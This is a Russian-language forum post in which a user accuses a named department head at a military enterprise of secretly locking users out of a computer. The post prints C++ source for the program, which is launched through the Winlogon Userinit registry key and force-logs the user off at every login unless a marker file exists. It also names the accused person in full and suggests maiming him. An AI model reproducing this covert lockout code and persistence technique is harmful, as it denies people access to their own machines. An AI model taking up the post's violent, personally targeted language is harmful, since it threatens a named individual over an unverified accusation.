Tenko77
Newbie | Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору Скажите Администраторы Что делать с администратором (Главным, возглавляющим бюро на большом военном предприятии) который , нарушая правила и Этику тайком блокирует доступ к компьютеру с помощью дебильно написанной им программы. Оторвать руки? (Искалечит урода) Засунуть клаву кое-куда? Программа была сделана на дельфи. Запуск происходил согласно \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Userinit.exe, spoolssw.exe Автор Шуднев Д (начальник бюро корпоративной информации КнааПО) Код восстановлен.Текст ----------------------------------------------------------------- // spoolssw.cpp : Defines the entry point for the application. // #include "stdafx.h" #include <tchar.h> #include <time.h> #include <stdlib.h> #include <Userenv.h> #include <shlobj.h> #define BUFFER MAX_PATH+1 BOOL FFileExists(LPCTSTR ); BOOL MySystemName(); BOOL MySystemLogoff(); int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { // TODO: Place code here. if (FFileExists("C:\\Program Files\\Common Files\\Microsoft Shared\\osgen.log")) { return 0; } WaitForInputIdle(GetCurrentProcess(),5000); if (!MySystemLogoff()) ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0); return 0; } //******************************* // BOOL FFileExists(LPCTSTR szFile) BOOL FFileExists(LPCTSTR szFile) { HANDLE hFile = 0; if ((NULL == szFile) || (_T('\0') == *szFile))return FALSE; UINT uErrorMode = SetErrorMode(SEM_NOOPENFILEERRORBOX | SEM_FAILCRITICALERRORS); hFile = CreateFile(szFile, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); SetErrorMode(uErrorMode); // Restore error mode if (hFile == INVALID_HANDLE_VALUE) return FALSE; CloseHandle(hFile); return TRUE; } BOOL MySystemName() { LPTSTR lpszSystemInfo; // pointer to system information string DWORD cchBuff = BUFFER; // size of computer or user name TCHAR tchBuffer1[BUFFER]; // buffer for concatenated string // получаем имя из системы ZeroMemory(tchBuffer1, BUFFER); lpszSystemInfo = tchBuffer1; GetUserName(lpszSystemInfo, &cchBuff); if ( lstrcmpi( "user10", lpszSystemInfo) == 0 ) return FALSE; if ( lstrcmpi( "user30", lpszSystemInfo) == 0 ) return FALSE; return TRUE; } BOOL MySystemLogoff() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return( FALSE ); // Get the LUID for the shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the logoff privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return FALSE; // logoff the system and force all applications to close. if (!ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0)) return FALSE; return TRUE; } Какие будут предложения? |